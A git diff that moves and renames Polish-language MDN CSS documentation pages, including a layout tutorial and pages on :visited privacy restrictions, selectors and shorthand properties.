Dotychczas w tym kursie określałeś(aś) rozmiary w pikselach (px). -Jest to rozsądny wybór w pewnych przypadkach, dla wyświetlaczy takich jak monitor komputera. -Jednak jeżeli użytkownik zmieni rozmiar kroju, Twój układ może przestać wyglądać dobrze. -

W wielu wypadkach lepiej jest określać rozmiary w procentach lub jednostkach ems (em). -Em jest nominalnym rozmiarem aktualnego kroju (szerokość litery m). -Kiedy użytkownik zmienia rozmiar kroju, Twój układ dostosuje się automatycznie. -

- - -
Przykład -
Ramka po lewej stronie tego tekstu ma rozmiary określony w pikselach. -

Ramka po prawej ma rozmiar określony w ems. -

Zmień teraz rozmiary kroju w swojej przeglądarce, aby zobaczyć, jak ramka po prawej dopasowuje się do rozmiaru, a jak zachowa się ramka po lewej: -

- - -
ZMIEŃ MÓJ ROZMIAR
-
-
- - -
Więcej szczegółów -
Dla innych urządzeń najlepiej stosować inne jednostki miar. -

Więcej informacji na ten temat znajdziesz na dalszych stronach tego kursu. -

Aby dowiedzieć się więcej na temat wartości i jednostek, których możesz użyć, zobacz stronę Wartości na stronach specyfikacji CSS. -

-
-

Układ tekstu

-

Układ treści dokumentu jest określany przez dwie własności. -Możesz ich użyć, aby wstępnie określić układ: -

- -
Określa położenie treści. Wybierz jedną z wartości: left, right, center, justify -
- -
Tworzy odstęp dla treści o określoną wartość. -
-

Te własności dotyczą wszelkiej treści tekstowej w elemencie, nie tylko tekstu. -Pamiętaj też, że są one dziedziczone przez elementy dzieci, zatem będzie trzeba bezpośrednio wyłączyć je dla dzieci, aby uniknąć dziwnych rezultatów. -

- - -
Przykład -
Aby wycentrować nagłówki: -
-
 h3 {
- border-top: 1px solid gray;
- text-align: center;
- }
-
-
-

Wynik: -

- - -

(A) The oceans

-
-

W dokumencie HTML treść wyświetlana pod nagłówkiem nie jest strukturalnie przynależna do nagłówka. -Zatem kiedy określasz nagłówek w taki sposób, znaczniki poniżej nagłówka nie dziedziczą stylu. -

-
-

Pływanie (Floats)

-

Własność float wymusza umieszczenie elementu po lewej lub prawej. -Jest to prosty sposób, aby kontrolować jego położenie i rozmiar. -

Reszta dokumentu opływa wybrany element. -Możesz to kontrolować, używając własności clear na innych elementach, aby sprawić, by nie opływały elementów posiadających określony float. -

- - -
Przykład -
W Twoim przykładowym dokumencie listy są rozciągnięte na szerokość okna. Możesz tego uniknąć, przyklejając je do lewej strony. -

Aby zachować nagłówki w jednym miejscu, musisz też określić, że mają ignorować opływanie po lewej: -

-
-
 ul, #numbered {float: left;}
- h3 {clear: left;}
-
-
-

Rezultat wygląda tak: -

- - -

(A) The oceans

-
  • Arctic
  • Atlantic
  • Pacific
  • Indian
  • Southern
-
-

(B) Numbered paragraphs

-

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum

-
-
-

(Mały margines wewnętrzny jest potrzebny po prawej stronie bloków, gdzie ramka jest za blisko tekstu.) -

-
-

Pozycjonowanie

-

Możesz określić pozycję elementu na cztery sposoby poprzez określenie własności position oraz podanie jednej z następujących wartości. -

Są to własności zaawansowane. -Można ich używać w prosty sposób — dlatego są tutaj wymienione. -Jednak korzystanie z nich w bardziej złożony sposób może być skomplikowane. -

- -
Pozycja elementu jest określona relatywnie do jego normalnej pozycji. -
Użyj tej wartości, aby przesunąć element o określoną wartość. Czasem możesz użyć marginesu zewnętrznego, aby osiągnąć ten sam efekt. -
- -
Element będzie przyczepiony. -
Określa pozycję elementu relatywnie do okna dokumentu. Nawet kiedy reszta dokumentu jest przewijana, element pozostaje w tym samym miejscu. -
- -
Pozycja elementu jest ustawiana relatywnie do elementu rodzica. -
Zadziała to tylko wobec elementów, które są pozycjonowane z użyciem relative, fixed lub absolute. -
-
Możesz też sprawić, by dowolny element-rodzic mógł zostać zastosowany poprzez określenie mu position: relative; bez podawania wartości przesunięcia. -
- -
Domyślne. Użyj tej wartości, aby wyłączyć pozycjonowanie. -
-

Razem z tymi wartościami własności position (poza static) podaj jedną lub więcej własności: top, right, bottom, left, width, height, aby określić, gdzie chcesz, aby element się pojawił, oraz jego rozmiar. -

- - -
Przykład -
Aby umieścić dwa elementy na górze, stwórz kontener rodzica w swoim dokumencie z dwoma elementami w środku: -
-
 <DIV id="parent-div">
- <P id="forward">/</P>
- <P id="back">\</P>
- </DIV>
-
-
-

W swoim arkuszu stylów nadaj rodzicowi wartość relative własności position. -Nie musisz podawać żadnego przesunięcia. -Określ wartość własności position jego dzieci jako absolute: -

-
-  #parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-  }
-
-  #forward, #back {
-  position: absolute;
-  margin:0px;
-  top: 0px;
-  left: 0px;
-  }
-
-  #forward {
-  color: blue;
-  }
-
-  #back {
-  color: red;
-  }
-
-

Rezultat wygląda tak, z odwrotnym ukośnikiem nad ukośnikiem: -

-

/

\

-
- -
-


-

-
- - -
Więcej szczegółów -
Cały temat pozycjonowania zajmuje dwa skomplikowane rozdziały w specyfikacji CSS: Visual formatting model oraz Visual formatting model details. -

Jeżeli tworzysz arkusze stylów, które mają działać w wielu przeglądarkach, musisz także wziąć pod uwagę różnice w sposobie interpretacji standardów oraz prawdopodobne błędy w obsłudze standardów występujące w różnych przeglądarkach. -

-
-

Zadanie: Definiowanie układu

-

Zmień swój przykładowy dokument i arkusz stylów, korzystając z przykładów z sekcji Struktura dokumentu i Pływanie. -

W przykładzie z Pływanie dodaj margines wewnętrzny, aby oddzielić tekst od prawej ramki o 0.5 em. -

- - -
Wyzwanie -
Zmień swój przykładowy dokument, dodając ten znacznik blisko końca, tuż przed -

</BODY> -

-
-  <IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
-
-

Jeżeli wcześniej nie pobrałeś(aś) pliku obrazka z tego kursu, zrób to teraz: -

- - -
Image:Yellow-pin.png -
-

Spróbuj przewidzieć, gdzie ten obrazek pojawi się w dokumencie. -Potem odśwież okno przeglądarki i sprawdź czy miałeś(aś) rację. -

Dodaj regułę do arkusza stylów, która umieści obrazek na stałe w prawym górnym rogu dokumentu. -

Odśwież okno przeglądarki i zmniejsz rozmiar okna. -Sprawdź, czy obrazek nadal pozostaje w górnym prawym rogu, nawet kiedy przewijasz dokument. -

-

(A) The oceans

  • Arctic
  • Atlantic
  • Pacific
  • Indian
  • Southern

(B) Numbered paragraphs

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum

 

Yellow map pin
-
-
-


-

-

Co dalej?

-

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. -

Właśnie poznałeś(aś) wszystkie zagadnienia należące do podstawowego kursu CSS. -Następna strona dokładniej opisze zaawansowane selektory dla reguł CSS oraz trochę szczegółów dotyczących tabel: Tabele -

{{ languages( { "en": "en/CSS/Getting_Started/Layout", "fr": "fr/CSS/Premiers_pas/Mise_en_page", "pt": "pt/CSS/Como_come\u00e7ar/Disposi\u00e7\u00e3o" } ) }} diff --git a/files/pl/web/css/outline-color/index.html b/files/pl/web/css/outline-color/index.html new file mode 100644 index 0000000000..ca9e572624 --- /dev/null +++ b/files/pl/web/css/outline-color/index.html @@ -0,0 +1,13 @@ +--- +title: '-moz-outline-color' +slug: Web/CSS/-moz-outline-color +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/outline-color +translation_of_original: Web/CSS/-moz-outline-color +--- +

d

diff --git a/files/pl/web/css/privacy_and_the__colon_visited_selector/index.html b/files/pl/web/css/privacy_and_the__colon_visited_selector/index.html new file mode 100644 index 0000000000..fad2ac55d1 --- /dev/null +++ b/files/pl/web/css/privacy_and_the__colon_visited_selector/index.html @@ -0,0 +1,68 @@ +--- +title: 'Prywatność i znacznik :visited' +slug: 'Web/CSS/Prywatnosc_i_znacznik_:visited' +translation_of: 'Web/CSS/Privacy_and_the_:visited_selector' +--- +
{{cssref}}
+ +

Przed mniej więcej rokiem 2010, CSS-owy znacznik {{ cssxref(":visited") }} pozwalał stronom WWW na ujawnianie historii przeglądania użytkownika i które ze stron odwiedził. Było to możliwe przez {{domxref("window.getComputedStyle")}} i inne techniki. Proces ten działał błyskawicznie i pozwalał nie tylko na ujawnienie, co użytkownik robił w sieci, ale również pozwalał na dowiedzenie się wielu informacji o jego tożsamości.

+ +

By załagodzić ten problem, w {{ Gecko("2") }} zaimplementowano aktualizacje dot. prywatności celem ograniczenia ilości informacji zbieranych przez odwiedzone linki. W przypadku innych przeglądarek dokonano podobnych zmian.

+ +

Małe, białe kłamstewka

+ +

By chronić prywatność użytkowników, Firefox i inne przeglądarki będą kłamać aplikacjom webowym w przypadku zaistnienia poniższych okoliczności:

+ + + + + +

You can style visited links, but there are limits to which styles you can use. Only the following styles can be applied to visited links:

+ + + +

In addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.

+ +

Here is an example of how to use styles with the aforementioned restrictions:

+ +
:link {
+  outline: 1px dotted blue;
+  background-color: white;
+  /* The default value of background-color is `transparent`. You need to
+     specify a different value, otherwise changes on :visited won't apply. */
+}
+
+:visited {
+  outline-color: orange;    /* Visited links have an orange outline */
+  background-color: green;  /* Visited links have a green background */
+  color: yellow;            /* Visited links have yellow colored text */
+}
+
+ +

Impact on web developers

+ +

Overall, these restrictions shouldn't affect web developers too significantly. They may, however, require the following changes to existing sites:

+ + + +

See also

+ + diff --git a/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html b/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html deleted file mode 100644 index fad2ac55d1..0000000000 --- a/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 'Prywatność i znacznik :visited' -slug: 'Web/CSS/Prywatnosc_i_znacznik_:visited' -translation_of: 'Web/CSS/Privacy_and_the_:visited_selector' ---- -
{{cssref}}
- -

Przed mniej więcej rokiem 2010, CSS-owy znacznik {{ cssxref(":visited") }} pozwalał stronom WWW na ujawnianie historii przeglądania użytkownika i które ze stron odwiedził. Było to możliwe przez {{domxref("window.getComputedStyle")}} i inne techniki. Proces ten działał błyskawicznie i pozwalał nie tylko na ujawnienie, co użytkownik robił w sieci, ale również pozwalał na dowiedzenie się wielu informacji o jego tożsamości.

- -

By załagodzić ten problem, w {{ Gecko("2") }} zaimplementowano aktualizacje dot. prywatności celem ograniczenia ilości informacji zbieranych przez odwiedzone linki. W przypadku innych przeglądarek dokonano podobnych zmian.

- -

Małe, białe kłamstewka

- -

By chronić prywatność użytkowników, Firefox i inne przeglądarki będą kłamać aplikacjom webowym w przypadku zaistnienia poniższych okoliczności:

- - - - - -

You can style visited links, but there are limits to which styles you can use. Only the following styles can be applied to visited links:

- - - -

In addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.

- -

Here is an example of how to use styles with the aforementioned restrictions:

- -
:link {
-  outline: 1px dotted blue;
-  background-color: white;
-  /* The default value of background-color is `transparent`. You need to
-     specify a different value, otherwise changes on :visited won't apply. */
-}
-
-:visited {
-  outline-color: orange;    /* Visited links have an orange outline */
-  background-color: green;  /* Visited links have a green background */
-  color: yellow;            /* Visited links have yellow colored text */
-}
-
- -

Impact on web developers

- -

Overall, these restrictions shouldn't affect web developers too significantly. They may, however, require the following changes to existing sites:

- - - -

See also

- - diff --git a/files/pl/web/css/reference/index.html b/files/pl/web/css/reference/index.html new file mode 100644 index 0000000000..c6b8ea66c6 --- /dev/null +++ b/files/pl/web/css/reference/index.html @@ -0,0 +1,56 @@ +--- +title: Dokumentacja CSS +slug: Web/CSS/CSS_Reference +translation_of: Web/CSS/Reference +--- +

Specyfikacja CSS zawiera wszystkie standardowe właściwości CSS, w tym  pseudo-klas i pseudo-elementow, zasad używania znaku @i selektorów w porządku alfabetycznym. Taka organizacja specyfikacji pozwala na szybki dostęp do szczegółowych informacji o każdym elemencie specyfikacji.
+
+ Specyfikacja CSS nie tylko opisuje ustandaryzowane właściwości CSS1 i CSS2.1, ale odnosi się również do specyfikacji najnowszej wersji - CSS3, zarówno elementów w fazie koncepcji jak i elementów zatwierdzonych.

+
+ Zobacz także rozszerzenie CSS Mozilli skonstrułowanych dla programów opartych na Gecko, z prefiksem -moz; oraz rozszerzenia CSS WebKit dla programów opartych na tym silniku. Sprawdź zestawienie właściwości wszystko prefiksów CSS autorstwa Petera Beverloo.
+

 

+
+ {{ CSS_Ref() }}
+

Selektory

+ +

diverso

+ +

Pojęcia

+ diff --git a/files/pl/web/css/rozszerzenia_webkit/index.html b/files/pl/web/css/rozszerzenia_webkit/index.html deleted file mode 100644 index 0b60bd4475..0000000000 --- a/files/pl/web/css/rozszerzenia_webkit/index.html +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: Rozszerzenia WebKit -slug: Web/CSS/Rozszerzenia_WebKit -tags: - - CSS - - Referencje CSS -translation_of: Web/CSS/WebKit_Extensions ---- -
{{CSSRef}}
- -

Webkit wspiera wiele rozszerzeń dedykowanych CSS opatrzonych prefiksem -webkit. Wszystkie właściwości opatrzone prefiksem -webkit działają również z prefiksem -apple.

- -

Niektóre z tych właściwości zostały zawarte w szkicu specyfikacji CSS w celu włączenia do ostatecznej rekomendacji, ale są one jeszcze eksperymentalne. Niektóre z tych niestandardowych właściwości nie wchodzą w skład linii standardowo obowiązującej.

- -

Jednostki z prefiksem WebKit obowiązującego standardu

- -
-

A – C

- - - -

F

- - - -

G

- - - -

H – O

- - - -

M

- - - -

P

- - - -

Q – Z

- - -
- -

Jednostki z prefiksem WebKit z odpowiednikiem bez prefiksu

- -

W celu maksymalizacji kompatybilności z Twoim CSS powinienneś/powinnaś stosować właściwości standardu bez prefiksu zamiast opcji z prefiksem. Poniżej znajduje się lista wszystkich wariantów:

- -
-

A

- - - -

B

- - - -

C – N

- - - -

O – S

- - - -

T – Z

- - -
- -

Firmowe jednostki z prefiksem WebKit (nie do używania na stronach internetowych)

- -
-

A

- - - -

B

- - - -

C

- - - -

D E

- - - -

F

- - - -

G

- - - -

H – K

- - - -

L

- - - -

M

- - - -

N

- - - -

O

- - - -

P Q

- - - -

R

- - - -

S

- - - -

T – Z

- - -
- -

Zobacz również

- - diff --git a/files/pl/web/css/selektor_klasy/index.html b/files/pl/web/css/selektor_klasy/index.html deleted file mode 100644 index 12f8d4f5c8..0000000000 --- a/files/pl/web/css/selektor_klasy/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Selektor klasy -slug: Web/CSS/Selektor_klasy -tags: - - CSS - - Klasy - - Reference - - Selektory -translation_of: Web/CSS/Class_selectors ---- -
{{CSSRef("Selectors")}}
- -
 
- -
Selektor klasy wyszukuje każdy element z atrybutem {{htmlattrxref("class")}} w dokumencie HTML. Atrybut {{htmlattrxref("class")}} jest zdefiniowany jako lista przedmiotów oddzielonych ze sobą spacją, jeden z nich musi zgadzać się z podaną klasą w selektorze (CSS).
- -
 
- -

Składnia

- -
.nazwaklasy { właściwości stylu }
- -

Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:

- -
[class~=nazwaklasy] { właściwości stylu }
- -

Przykład

- -

CSS

- -
span.classy {
-  background-color: DodgerBlue;
-}
-
- -

HTML

- -
<span class="classy">Przykładowy tekst.</span>
-<span>Kolejny przykładowy tekst.</span>
-
- -

Specyfikacje

- - - -

Kompatybilność z przeglądarkami

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PrzeglądarkaWsparcie
ChromeTak
EdgeTak
FirefoxTak
Internet ExplorerTak
OperaTak
SafariTak
- -

 

diff --git a/files/pl/web/css/selektor_uniwersalny/index.html b/files/pl/web/css/selektor_uniwersalny/index.html deleted file mode 100644 index c3c4952f06..0000000000 --- a/files/pl/web/css/selektor_uniwersalny/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Selektor uniwersalny -slug: Web/CSS/Selektor_uniwersalny -tags: - - CSS - - Selektory -translation_of: Web/CSS/Universal_selectors ---- -
{{CSSRef}}
- -

Selektor uniwersalny (*) dopasowuje elementy wszystkich typów.

- -
/* Wybierz wszystkie elementy */
-* {
-  color: green;
-}
- -

Począwszy od CSS3, gwiazdka może być używana w połączeniu z {{cssxref("CSS_Namespaces", "namespaces")}}:

- - - -

Składnia

- -
* { własności }
- -

Gwiazdka jest opcjonalna w przypadku prostych selektorów. Np.: *.warning i .warning są równoważne.

- -

Przykłady

- -

CSS

- -
* [lang^=pl] {
-  color: green;
-}
-
-*.warning {
-  color: red;
-}
-
-*#maincontent {
-  border: 1px solid blue;
-}
-
-.floating {
-  float: left
-}
-
-/* automatycznie czyści opływanie dla rodzeństwa znajdującego się bezpośrednio po elemencie z klasą .floating */
-.floating + * {
-  clear: left;
-}
-
- -

HTML

- -
<p class="warning">
-  <span lang="pl">Zielony span</span> w czerwonym akapicie.
-</p>
-<p id="maincontent" lang="pl">
-  <span class="warning">czerwony span</span> w zielonym akapicie.
-</p>
- -

Rezultat

- -

{{EmbedLiveSample('Przykłady')}}

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}{{Spec2('CSS3 Selectors')}}Defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements
{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}{{Spec2('CSS2.1')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("css.selectors.universal")}}

diff --git a/files/pl/web/css/selektory_typu/index.html b/files/pl/web/css/selektory_typu/index.html deleted file mode 100644 index 13dc191bb1..0000000000 --- a/files/pl/web/css/selektory_typu/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Selektory typu -slug: Web/CSS/Selektory_typu -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: Web/CSS/Type_selectors ---- -
{{CSSRef}}
- -

Selektory typu dopasowują wszystkie elementy mające taką samą nazwę jak dany selektor. Własności zostaną zastosowane do każdego elementu danego typu niezależnie od tego, gdzie znajduje się w drzewie dokumentu.

- -

Składnia

- -
selektor {własności }
-
- -

selektor jest do dowolnym elementem np. p, div, a, table.

- -

Przykład

- -

CSS

- -
span {
-  background-color: skyblue;
-}
-
- -

HTML

- -
<span>Span z tekstem.</span>
-<p>Akapit z tekstem.</p>
-<span>Span z większą ilością tekstu.</span>
-
- -

Rezultat

- -

{{EmbedLiveSample('Przykład', '100%', 150)}}

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}{{Spec2('CSS3 Selectors')}}No changes
{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}{{Spec2('CSS1')}}Initial definition
- -

Kompatybilność przeglądarek

- - - -

{{Compat("css.selectors.type")}}

diff --git a/files/pl/web/css/shorthand_properties/index.html b/files/pl/web/css/shorthand_properties/index.html new file mode 100644 index 0000000000..fa244eb571 --- /dev/null +++ b/files/pl/web/css/shorthand_properties/index.html @@ -0,0 +1,56 @@ +--- +title: Skrócone deklaracje CSS +slug: Web/CSS/Skrócone_deklaracje_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/CSS/Shorthand_properties +--- +

+

+

Dlaczego skracamy deklaracje CSS?

+

Wielu programistów CSS stosuje skrócone wersje często stosowanych własności w celu zaoszczędzenia czasu i energii. Chociaż skracanie deklaracji może wydawać się nie intuicyjnie i prawdopodobnie będzie wymagało trochę zapamiętywania, to z całą pewnością zaoszczędzi nam pisania na klawiaturze, podczas tworzenia dużych lub kompleksowych arkuszy stylów. +

+

Własności tła

+

Tło określone za pomocą następujących własności: +

+
background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;
+

Można zapisać w jednej deklaracji jako: +

+
background: #000 url(images/bg.gif) no-repeat top right;
+

(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus background-attachment: scroll oraz kilku dodatkowych własności w CSS3) +

+

Własności czcionki

+

Następujące deklaracje: +

+
font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;
+

Mogą zostać skrócone do następującej deklaracji:

+
font: italic bold .8em/1.2 Arial, sans-serif;
+

(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus font-variant: normal i font-size-adjust: none (CSS2.0 / css3), font-stretch: normal (css3).) +

+

Własności obramowania

+

Obramowanie, szerokość, kolor i styl możemy uprościć do jednej deklaracji. Na przykład: +

+
border-width: 1px;
+border-style: solid;
+border-color: #000;
+

Możemy zapisać jako: +

+
border: 1px solid #000;
+

Własności margin/padding

+

Skrócona wersja wartości margin i padding działa w ten sam sposób. Następujące deklaracje CSS:

+
margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;
+

Są tym samym, co poniższa deklaracja (ważne jest, aby wartości były rozmieszczone zgodnie z kierunkiem ruchu wskazówek zegara, zaczynając od wartości top: top, right, bottom i left (TRBL, spółgłoski w słowie "trouble")) +

+
margin: 10px 5px 10px 5px;
+{{ languages( { "en": "en/Guide_to_Shorthand_CSS" } ) }} diff --git "a/files/pl/web/css/skr\303\263cone_deklaracje_css/index.html" "b/files/pl/web/css/skr\303\263cone_deklaracje_css/index.html" deleted file mode 100644 index fa244eb571..0000000000 --- "a/files/pl/web/css/skr\303\263cone_deklaracje_css/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Skrócone deklaracje CSS -slug: Web/CSS/Skrócone_deklaracje_CSS -tags: - - CSS - - Wszystkie_kategorie -translation_of: Web/CSS/Shorthand_properties ---- -

-

-

Dlaczego skracamy deklaracje CSS?

-

Wielu programistów CSS stosuje skrócone wersje często stosowanych własności w celu zaoszczędzenia czasu i energii. Chociaż skracanie deklaracji może wydawać się nie intuicyjnie i prawdopodobnie będzie wymagało trochę zapamiętywania, to z całą pewnością zaoszczędzi nam pisania na klawiaturze, podczas tworzenia dużych lub kompleksowych arkuszy stylów. -

-

Własności tła

-

Tło określone za pomocą następujących własności: -

-
background-color: #000;
-background-image: url(images/bg.gif);
-background-repeat: no-repeat;
-background-position: top right;
-

Można zapisać w jednej deklaracji jako: -

-
background: #000 url(images/bg.gif) no-repeat top right;
-

(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus background-attachment: scroll oraz kilku dodatkowych własności w CSS3) -

-

Własności czcionki

-

Następujące deklaracje: -

-
font-style: italic;
-font-weight: bold;
-font-size: .8em;
-line-height: 1.2;
-font-family: Arial, sans-serif;
-

Mogą zostać skrócone do następującej deklaracji:

-
font: italic bold .8em/1.2 Arial, sans-serif;
-

(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus font-variant: normal i font-size-adjust: none (CSS2.0 / css3), font-stretch: normal (css3).) -

-

Własności obramowania

-

Obramowanie, szerokość, kolor i styl możemy uprościć do jednej deklaracji. Na przykład: -

-
border-width: 1px;
-border-style: solid;
-border-color: #000;
-

Możemy zapisać jako: -

-
border: 1px solid #000;
-

Własności margin/padding

-

Skrócona wersja wartości margin i padding działa w ten sam sposób. Następujące deklaracje CSS:

-
margin-top: 10px;
-margin-right: 5px;
-margin-bottom: 10px;
-margin-left: 5px;
-

Są tym samym, co poniższa deklaracja (ważne jest, aby wartości były rozmieszczone zgodnie z kierunkiem ruchu wskazówek zegara, zaczynając od wartości top: top, right, bottom i left (TRBL, spółgłoski w słowie "trouble")) -

-
margin: 10px 5px 10px 5px;
-{{ languages( { "en": "en/Guide_to_Shorthand_CSS" } ) }} diff --git a/files/pl/web/css/type_selectors/index.html b/files/pl/web/css/type_selectors/index.html new file mode 100644 index 0000000000..13dc191bb1 --- /dev/null +++ b/files/pl/web/css/type_selectors/index.html @@ -0,0 +1,80 @@ +--- +title: Selektory typu +slug: Web/CSS/Selektory_typu +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/Type_selectors +--- +
{{CSSRef}}
+ +

Selektory typu dopasowują wszystkie elementy mające taką samą nazwę jak dany selektor. Własności zostaną zastosowane do każdego elementu danego typu niezależnie od tego, gdzie znajduje się w drzewie dokumentu.

+ +

Składnia

+ +
selektor {własności }
+
+ +

selektor jest do dowolnym elementem np. p, div, a, table.

+ +

Przykład

+ +

CSS

+ +
span {
+  background-color: skyblue;
+}
+
+ +

HTML

+ +
<span>Span z tekstem.</span>
+<p>Akapit z tekstem.</p>
+<span>Span z większą ilością tekstu.</span>
+
+ +

Rezultat

+ +

{{EmbedLiveSample('Przykład', '100%', 150)}}

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}{{Spec2('CSS3 Selectors')}}No changes
{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}{{Spec2('CSS1')}}Initial definition
+ +

Kompatybilność przeglądarek

+ + + +

{{Compat("css.selectors.type")}}

diff --git a/files/pl/web/css/universal_selectors/index.html b/files/pl/web/css/universal_selectors/index.html new file mode 100644 index 0000000000..c3c4952f06 --- /dev/null +++ b/files/pl/web/css/universal_selectors/index.html @@ -0,0 +1,104 @@ +--- +title: Selektor uniwersalny +slug: Web/CSS/Selektor_uniwersalny +tags: + - CSS + - Selektory +translation_of: Web/CSS/Universal_selectors +--- +
{{CSSRef}}
+ +

Selektor uniwersalny (*) dopasowuje elementy wszystkich typów.

+ +
/* Wybierz wszystkie elementy */
+* {
+  color: green;
+}
+ +

Począwszy od CSS3, gwiazdka może być używana w połączeniu z {{cssxref("CSS_Namespaces", "namespaces")}}:

+ + + +

Składnia

+ +
* { własności }
+ +

Gwiazdka jest opcjonalna w przypadku prostych selektorów. Np.: *.warning i .warning są równoważne.

+ +

Przykłady

+ +

CSS

+ +
* [lang^=pl] {
+  color: green;
+}
+
+*.warning {
+  color: red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left
+}
+
+/* automatycznie czyści opływanie dla rodzeństwa znajdującego się bezpośrednio po elemencie z klasą .floating */
+.floating + * {
+  clear: left;
+}
+
+ +

HTML

+ +
<p class="warning">
+  <span lang="pl">Zielony span</span> w czerwonym akapicie.
+</p>
+<p id="maincontent" lang="pl">
+  <span class="warning">czerwony span</span> w zielonym akapicie.
+</p>
+ +

Rezultat

+ +

{{EmbedLiveSample('Przykłady')}}

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}{{Spec2('CSS4 Selectors')}}No changes
{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}{{Spec2('CSS3 Selectors')}}Defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements
{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}{{Spec2('CSS2.1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.selectors.universal")}}

diff --git "a/files/pl/web/css/warto\305\233\304\207_pocz\304\205tkowa/index.html" "b/files/pl/web/css/warto\305\233\304\207_pocz\304\205tkowa/index.html" deleted file mode 100644 index 8144cb37ba..0000000000 --- "a/files/pl/web/css/warto\305\233\304\207_pocz\304\205tkowa/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Wartość początkowa -slug: Web/CSS/Wartość_początkowa -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: Web/CSS/initial_value ---- -

{{ CSSRef() }} -

-

Podsumowanie

-

Wartość początkowa podana w podsumowaniu każdej własności CSS ma odmienne znaczenie własności dziedziczonych i własności niedziedziczonych. -

Dla własności dziedziczonych wartość początkowa używana jest tylko dla elementu źródłowego, gdy nie określono wartości elementu. -

Dla własności niedziedziczonych wartość początkowa używana jest dla każdego elementu, gdy nie określono wartości elementu. -

W CSS3 dodano wartość initial, by pozwolić autorom na wyraźne określenie wartości początkowej. -

-

Zobacz również

-

Własności dziedziczone i niedziedziczone, initial -


-

-
-
-{{ languages( { "en": "en/CSS/initial_value", "es": "es/CSS/Valor_inicial", "fr": "fr/CSS/Valeur_initiale", "ja": "ja/CSS/initial_value", "ko": "ko/CSS/initial_value" } ) }} diff --git a/files/pl/web/css/webkit_extensions/index.html b/files/pl/web/css/webkit_extensions/index.html new file mode 100644 index 0000000000..0b60bd4475 --- /dev/null +++ b/files/pl/web/css/webkit_extensions/index.html @@ -0,0 +1,358 @@ +--- +title: Rozszerzenia WebKit +slug: Web/CSS/Rozszerzenia_WebKit +tags: + - CSS + - Referencje CSS +translation_of: Web/CSS/WebKit_Extensions +--- +
{{CSSRef}}
+ +

